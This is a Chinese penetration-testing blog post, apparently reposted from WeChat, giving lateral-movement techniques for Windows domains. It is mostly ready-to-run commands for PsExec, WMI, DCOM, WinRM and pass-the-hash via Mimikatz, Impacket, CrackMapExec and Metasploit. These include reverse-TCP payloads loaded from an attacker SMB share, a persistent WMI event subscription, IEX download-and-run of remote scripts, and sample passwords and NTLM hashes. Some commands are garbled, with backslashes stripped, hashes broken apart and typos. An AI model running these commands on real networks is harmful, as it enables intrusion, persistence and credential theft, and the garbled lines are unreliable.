接着昨天的~
5.PsExec远程控制
原理:
PsExec原理是通过 SMB 连接到服务端的 Admin$共享,并放名为“psexesve.exe为二进制文件,然后注册名为“PSEXESVC”服务。当客户端执行命令时,服务端通过PSEXESVC 服务启动相应的程序执行命令并回显数据。运行结束后,PSEXESVC服务会被删除。
条件:
1. 远程主机开启了Admin$共享
2.远程主机未开启防火墙或放行 445 端口。
利用:
已知凭据利用:
PsExec.exe -accepteula \10.10.10.19 -u HACK-MYAdministrator -p Admin@123 -s cmd.exe
-accepteula禁止弹出许可证对话框; -u,指定远程主机的用户名; -p,指定用户的密码#-s,以SYSTEM权限启动进程,如果未指定该参数,就将以管理员权限启动进程
已有凭据利用
PsExec.exe -accepteula \10.10.10.19 cmd.exe
Hash传递利用
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fd c5e9cba88547376818d4 ./[email protected]
工具出处:
1.微软官方
https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec
2.Impacket项目
psexec.py项目
impacket 下的psexec
python3 psexec.py moonsec/[email protected]
执行命令后输入密码登陆其他主机管理员
psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fd c5e9cba88547376818d4 ./[email protected]
3.msf模块
exploit/windows/smb/psexec
use exploit/windows/smb/psexec set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba885473 76818d4
6.WMI的利用
条件:
1.远程主机的WMI服务为开启状态(默认开启)
2.防火墙放行WMI默认端口:135(RPC)端口
1.常规利用
特点:
-
不会产生日志记录
-
没有回显,若要查看命令结果需要配合IPC$与type命令
1.执行远程查询
wmic /node:10.10.10.19 /user:Administrator /password:Admin@123 process list brief
#/node指定远程主机的地址,/user 指定远程主机的用户名;/password 指定用户的密码
2.创建远程进程
wmic /node:10.10.10.19 /user:Administrator /password:Admin@123 porcess call create "cmd.exe /c ipcoinfig >C:result.txt"
#通过调用Win32_Process.Create方法在远程主机上创建CMD进程并执行命令
3.远程安装MSI文件
通过调用Win32_Product.Install方法,可以调用远程主机安装恶意MSI文件
wmic /node:10.10.10.19 /user:Administrator /password:Admin@123 product call install PackageLocation="\192.168.2.143evilsmbreverse_tcp.msi"
控制远程主机 (10.10.10.19),通过 UNC 路径进行远程加载测试人员服务器的 MSI文件并进行安装
4.修改注册表,开启RDP
使用wmic 远程开启目标的RDP
# 适于Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_ terminalservicesetting WHERE ( Class!="") CALL SetAllowTSConnections 1
# 适于Windows 7、8、10,server 2008、2012、2016,注意ServerName 需要改为目标的hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1
或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process c all create 'cmd.exe /c REG ADD "HKLMSYSTEMCurrentControlSetControlT erminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
判断RDP 有没有开可以使用以下命令,如果返回0 表示开启,返回1 表示关闭。
REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections
远程重启机子
wmic /node:192.168.0.141 /user:administrator /password:123456 process c all create "shutdown.exe -r -f -t 0"
2.利用工具
1.Wmiexec
Impacket 项目的 wmiexec.py 能够以全交互或半交互的方式,通过 WMI 在远程主机上我行命令。注意,该工具需要远程主机开启 135和 445端口,其中445端口用于传输命令执行的回显。
我行以下命令,获取远程主机的交互式命令行
python wmiexec.py HACK-MY/Administrator:Admin@[email protected]
# python wmiexec.py <Domian>/<Username> :<Password>@<Ip>
如果是在 Windows 平台上使用,可以通过 PyInstaller,将 wmiexec.py 打包成独立的EXE可执行文件,,生成的 wmiexec.exe 可直接上传到 Windows 主机中运行,使用方法与原来的 wmiexec.py 相同
2.Invoke-WmiCommand
Invoke-WmiCommandps1 是 PowerSploit 项目中的一个脚本,可以通过 PowerShell调用WMI来远程执行命今.
特点:
-
通过PowerShell脚本来调用WMI命令
-
有回显
# 远程加载 Invoke-WmiCommand.ps1 脚本
IEX(New-Object Net.Webclient).DownloadString('http://IP:Port/Invoke-WmiCommand.ps1')
#指定远程系统用户名
$User = "HACK-MYAdministrator"
#指定用户的密码
$Password = ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
# 将用户名和密码整合,以便导入 credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
# 指定远程主机的 IP 和要执行的命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName "10.10.10.19"
# 输出命令执行回显
$Remote.PayloadOutput
3.Invoke-WMIMethod
PowerShell 内置的 Invoke-WMIMethod 也可以在远程系统中执行命令或程序是没有执行回显
特点:
-
PowerShell自带
-
无回显
$User = "aa8jadministrator";$Password = ConvertTo-SecureString -String "1234567.com" -AsPlainText -Force;$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password;Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "10.1.1.2" -Credential $Cred
# $User为 域名用户名
# -String为 "密码"
# -ArgumentList为 "要执行的程序"
# -ComputerName为 目标IP
执行后会返回一个进程ID
4. wmiexec.vbs
地址:https://github.com/AA8j/SecTools/tree/main/wmiexec.vbs
特点:
-
通过调用WMI来模拟PsExec功能
-
在执行诸如ping、systeminfo等命令需要添加“-waite 5000”参数
-
有回显
获得交互式shell:
cscript.exe //nologo wmiexec.vbs /shell 10.1.1.2 administrator 1234567.com
使用vmiexec.vbs 执行单条命令
cscript wmiexec.vbs /cmd 192.168.0.123 administrator 123456 "ipconfig"
3.WMI事件订阅
1.手动利用
1.整合 PSCredential,用于后续过程的认证。
$Username ="HACK-MY Administrator"
$Password="Admin@123!
$SecurePassword =$Password | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $Username, $SecurePassword
2 .设置攻击目标和其他公共参数。
$GlobalArgs = @{}
$ComputerName = "10.10.10.19"
$GlobalArgs['Credential'] = $Credential
$GlobalArgs['ComputerName'] = $ComputerName
3.创建wmi事件订阅
当进程查看器轮询到scvhost时使用cmd窗口执行calc命令
$EventFilterArgs = @{
EventNamespace='root/cimv2'
Name="TestFilter"
Query="SELECT * FROM Win32_ProcessStartTrace where processname= 'scvhost.exe'"
QueryLanguage='WQL'
}
$EventFilter = Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments $EventFilterArgs
$CommandLineEventConsumerArgs = @{
Name= "TestConsumer"
CommandLineTemplate= "C:WindowsSystem32cmd.exe /c calc.exe"
}
$EventConsumer=Set-WmiInstance -Namespace rootsubscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs
$FilterToConsumerArgs=@{
Filter=$EventFilter
Consumer=$EventConsumer
}
$FilterToConsumerBinding=Set-WmiInstance -Namespace rootsubscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
当进程查看器轮询到scvhost时使用cmd窗口执行calc命令
2.Sharp-WMIEvent
https://github.com/wh0amitz/Sharp-WMIEvent
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 10.10.10.19 -Domainhack-my.com -Username Administrator -Password Admin@l23 -Command "cmd.exe / c \10.10.10.147evilsmbreverse_tcp.exe"
这将在远程主机上部署一个随机命名的永久事件订阅,并每隔 60 秒执行一次SMB 共享中的攻击载荷,使远程主机上线
7.DCOM的利用
条件:
1.拥有管理员权限的powershell
2.远程主机未开启防火墙
1. 获取本地DCOM程序列表
在powershell中执行如下命令获取DCOM程序列表:
Get-CimInstance Win32_DCOMApplication
Windows 7、Windows Server 2008中默认安装的是powershell 2.0,所以他们都不支持Get-CimInstance,可以用以下命令代替Get-CimInstance:
Get-WmiObject -Namespace ROOTCIMV2 -Class Win32_DCOMApplication
2.使用DCOM对远程主机执行命令
(1)调用MMC20.Application远程执行命令
在管理员权限的Powershell中运行
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","local_ip")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \evilsmb_ipevilsmbevil.exe","Minimized")
(2)调用ShellWindows远程执行命令
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"local_ip")).item().Document.Application.ShellExecute("cmd.exe","/c C:shell.exe","c:windowssystem32",$null,0)
以上这两种方法均适用于Windows 7~Windows 10、Windows Server 2008~Windows Server 2016的系统
(4)调用ShellBrowserWindow远程执行命令
使用条件:适用于Windows 10和Windows Server 2012 R2等版本的系统。
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","local_ip")).Document.Application.shellExecute("C:shell.exe")
(5)调用Visio.Application远程执行命令
使用条件:目标主机中安装有Visio。
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","local_ip")).[0].Document.Application.shellExecute("C:shell.exe")
(6)调用Outlook.Application远程执行命令
使用条件:目标主机中安装有Outlook。
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","local_ip")).createObject("Shell.Application").shellExecute("C:shell.exe")
3.Impacket里的dcomexec.py脚本
Impacket 里面提供的 dcomexec.py 脚本可以提供一个类似于 wmiexec.py 脚本的半交互式shell,但使用的是DCOM,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。
./dcomexec.py domain/username:password@ip
./dcomexec.py domain/username:password@ip <command>
./dcomexec.py domain/username:@ip <command> -hashes<hash>
8.WinRM的利用
利用条件
端口:5985 5986
通信的双方都需要开启WinRM服务
WinRM 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。
只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
在进行横向移动时,需要拥有远程主机管理员的凭据信息
1.通过WinRM执行远程命令
在第一次执行命令的时候,可能会报下列错误。
这时我们执行下列两条命令,将当前主机的trustedhosts设置为*,表示信任任意主机,之后重启winRM。
Set-Item WSMan:localhostclienttrustedhosts -value *
Restart-Service WinRM
1.Windows内置工具winrs的使用
命令执行
winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "ipconfig"
获得一个cmd shell
winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "cmd"
2.通过winrm.cmd来进行命令执行
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="calc.exe"}
调用该命令在本地启动一个calc.exe进程
winrm invoke create wmicimv2/win32_process -SkipCNcheck -skipCNcheck @{commandline="notepad.exe"} -r:http://10.10.10.19:5985 -u:Administrator -p:Admin@123
通过 -r 来指定远端的机器
2.通过WinRM获取交互式对话
1.PowerShell下的利用
Enter-PSSession 的 PowerShell Cmdlet 可以启动与远程主机的会话。在会话交互期间用户输入的命令在远程计算机上运行,就像直接在远程计算机上输入一样
1. 在跳板机上执行以下命令
#指定远程系统用户名
$User = "HACK-MYAdministrator
# 指定用户的密码
$Password = ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
# 将用户名和密码整合,以便导入 Credential
$Cred = New-0bject -TypeName System. Management. Automation,PSCredential -ArgumentList $User , $Password
#根据提供的凭据创建会话
New-PSSession -Name WinRM1 -ComputerName 10.10.10.19 -Credential $Cred -Port 5985
# -Name,指定创建的会话名称 ;-ComputerName,指定要连接的主机 IP 或主机名
-Credential,指定有权连接到远程主机的用户凭据,-Port,指定 WinRM 的工作端口
将启动一个与远程主机 (10.10.10.19)的交互式会话,其名称为 WinRM1
2.执行“Get-PSSession”命令,查看当前已创建的 PSSession 会话
3.选中一个对话执行“Enter-PSSession -Name WinRM1”进入对话交互模式
也可以通过invoke-command在指定的对话中执行以下命令
#指定远程系统用户名
$User = "HACK-MYAdministratoru
#指定用户的密码
$Password = ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
# 将用户名和密码整合,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PsCredential -ArgumentList $User ,$Password
#根据提供的凭据创建会话
$Sess = New-PSSession -Name WinRM1 -ComputerName 10.10,10.19 -Credential $Cred -Port 5985
#在创建的会话中执行命令
Invoke-Command -Session $Sess -ScriptBlock {command}
2.Evil-Winrm
https://github.com/Hackplayers/evil-winrm
https://www.hackingarticles.in/a-detailed-guide-on-evil-winrm/
3.WSMan-WinRM
https://github.com/bohops/WSMan-WinRM
https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/
4.cobalt strike
在cobalt strike平台上有集成到winrm来进行横向移动,这里分有86位和64位的winrm
接着选择对应的位数,并且把相对于的信息填入进去。后面需要选择Listener和Session。
接着就上线成功了,也可以通过命令行界面来进行winrm的横向移动操作
jump winrm64 TARGET Listen
jump winrm64 dc.one.com http
翻了翻cobaltstrike的源码,找到了winrm的执行方式,他这里是通过powershell来执行命令的,通过 Invoke-Command 指定-ScriptBlock来执行命令。
9.哈希传递(PTH)攻击
1.使用 Mimikatz 进行哈希传递
限制:
使用 mimikatz 进行哈希传递要具有本地管理员权限
攻击过程:
抓取用户哈希:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
哈希传递:
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:whoamianony /user:administrator /ntlm:ab89b1295e69d353dd7614c7a3a80cec /run:cmd.exe"
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:whoamianony /user:administrator /ntlm:ab89b1295e69d353dd7614c7a3a80cec" exit
2.使用 Crackmapexec 进行哈希传递
该工具位于kali上面,其可以对C段主机批量进行PTH攻击。
下载地址:https://github.com/byt3bl33d3r/CrackMapExec.git
在kali上直接用apt-get就可以安装:
apt-get install crackmapexec
对内网主机进行PTH的命令如下:
crackmapexec smb 192.168.93.30 -u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x whoami crackmapexec smb 192.168.93.30 -u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x ipconfig
-
IP:可以是单个IP也可以是IP段
-
-u:指定用户名
-
-H:指定NTLM Hash
-
-d:指定域
-
-x:执行系统命令
如下图所示,成功在 DC 主机上执行命令:
3.利用 impacket工具包 进行哈希传递
-
项目地址:https://github.com/SecureAuthCorp/impacket
lmpacket 项目中具有远程执行功能的几个脚本几乎都可以进行哈希传递攻击,常见*有psexec.py、smbexec.py和 wmixe.py,同时可以走 socks4/5 代理,十分强大。
首先在攻击机上安装 Impacket 工具包:
git clone https://github.com/CoreSecurity/impacket.git cd impacket/ pip install .
wmiexec.py
进入 examples 目录即可找到我们的 wmiexec.py,然后执行以下命令即可:
python wmiexec.py -hashes 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec whoamianony/[email protected] "whoami"
# (proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@IP "命令"
smbexec.py
python smbexec.py -hashes :570a9a65db8fba761c1008a51d4c95ab hack-my.com/[email protected]
# python smbexec.py -hashes LM Hash:NLTM Hash domain/username@ip:
-hashes,指定用户完整的哈希值,如果 LM Hash 被废弃,就将其指定为@或为空
psexec.py
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fd c5e9cba88547376818d4 ./[email protected]
Atexec.py
利用139和445端口,它会创建计划任务-执行计划任务-删除计划任务
Atexec -hashes :c6de864a0d3ba9437e6a1e0789d4a844 ./[email protected] "whoami"
4.使用 Metasploit 进行哈希传递
经常使用的三个模块:
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令 exploit/windows/smb/psexec // 用psexec执行系统命令 exploit/windows/smb/psexec_psh // 使用powershell作为payload
这三个模块的使用方法相同,这里以exploit/windows/smb/psexec模块哈希传递攻击域控制器 DC 为例:
需要设置以下选项:
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set smbuser administrator
set smbpass
00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec # 完整的Administrator用户的Hash
set smbdomain whoamianony
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.93.129
set lport 4444
exploit
注意这里的 smbpass 选项,其可以为明文密码,也可以为密码哈希,但是哈希值必须是完整的,如果不知道前面的LM Hash部分,可以像上面那样用0代替。
如下图所示,攻击成功,域控成功上线,并且是 SYSTEM 权限:
5.利用 PowerShell 进行哈希传递
-
项目地址:https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-TheHash 项目是一个基于.Net TCPClient,通过把 NTLM 哈希传递给 NTLMv2 身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。Invoke-TheHash 项目中内含如下多个脚本:
Invoke-WMIExec.ps1
Invoke-SMBExec.ps1
Invoke-SMBEnum.ps1
Invoke-SMBClient.ps1
Invoke-TheHash.ps1
其可以执行 WMI 和 SMB 命令,并对内网主机批量进行哈希传递攻击。
使用 Invoke-SMBExec 脚本
该脚本通过 SMB 在目标主机创建服务来执行命令,该脚本执行命令没有回显,我们可以用它执行一些木马程序。如下所示,我们通过 Invoke-SMBExec 脚本进行哈希传递,在域控制器上执行之前上传的 shell.exe:
Import-Module .Invoke-SMBExec.ps1 Invoke-SMBExec -Target 192.168.93.30 -Domain whoamianony -Username administrator -Hash 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec -Command "c:shell.exe" -verbose
使用 Invoke-TheHash 脚本
Invoke-TheHash 脚本可以用来通过哈希传递在远程主机上执行 WMI 和 SMB 命令。
Import-Module .Invoke-WMIExec.ps1
# 首先需要加载先加载Invoke-WMIExec.ps1脚本
Import-Module .Invoke-TheHash.ps1
# 然后再加载Invoke-TheHash.ps1脚本
Invoke-TheHash -Type WMIExec -Target 192.168.93.1/24 -Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Command "c:shell.exe" -verbose
-
-Target:目标主机名或IP地址/段。
-
-Username:用于身份验证的用户名。
-
-Domain:用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
-
-Hash:用于身份验证的NTLM密码哈希(格式:LM:NTLM 或 NTLM)。
-
**-Command:在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。
注意使用的时候需要先加载 Invoke-WMIExec.ps1 脚本,然后再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec 方法。
使用 Invoke-SMBClient 脚本
该脚本支持SMB1,SMB2,SMB signing,如果只有 SMB 文件共享的权限而没有远程执行权限的话,可以使用这个脚本列举远程主机上的共享目录、上传或下载文件、删除文件。
使用以下命令可以成功列举出域控制器上的共享文件:
Import-Module .Invoke-SMBClient.ps1 Invoke-SMBClient -Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Source \DC.whoamianony.orgc$ -verbose # Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \servershare -verbose 查看远程主机共享目录
还有以下几种操作:
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \serversharefile.txt
# 删除远程主机上指定的共享文件
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \serversharefile.txt
# 在远程主机上下载指定的共享文件
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source file.exe -Destination \serversharesubdirectoryfile.exe
# 向远程主机的共享目录中上传指定的文件
6.利用哈希传递登录 RDP 远程桌面
借助 Restricted Admin Mode 进行哈希传递登录 RDP
适用系统:
· Windows Server 2012R2及以上版本的 Windows系统
-
Windows 8.1和Windows Server 2012 R2默认支持该功能
-
Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁kb2871997、kb2973351
条件:
渗透过程中可以通过修改注册表的方式开启目标主机的 Restricted Admin Mode,值为 0 代表开启,值为 1 代表关闭:
REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLMSystemCurrentControlSetControlLsa" | findstr "DisableRestrictedAdmin" # 查看是否成功开启
mimikatz
攻击机上使用 Mimikatz 进行哈希传递,大致原理就是哈希传递成功后执行 mstsc.exe /restrictedadmin 来打开远程桌面:
privilege::debug sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
xfreerdp
kali自带
xfreerdp /v:192.168.100.164 /u:administrator /pth:c6de864a0d3ba9437e6a1e0789d4a844 /cert:ignore
原文始发于微信公众号(凯撒安全实验室):内网笔记·域内横向移动总结(下)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论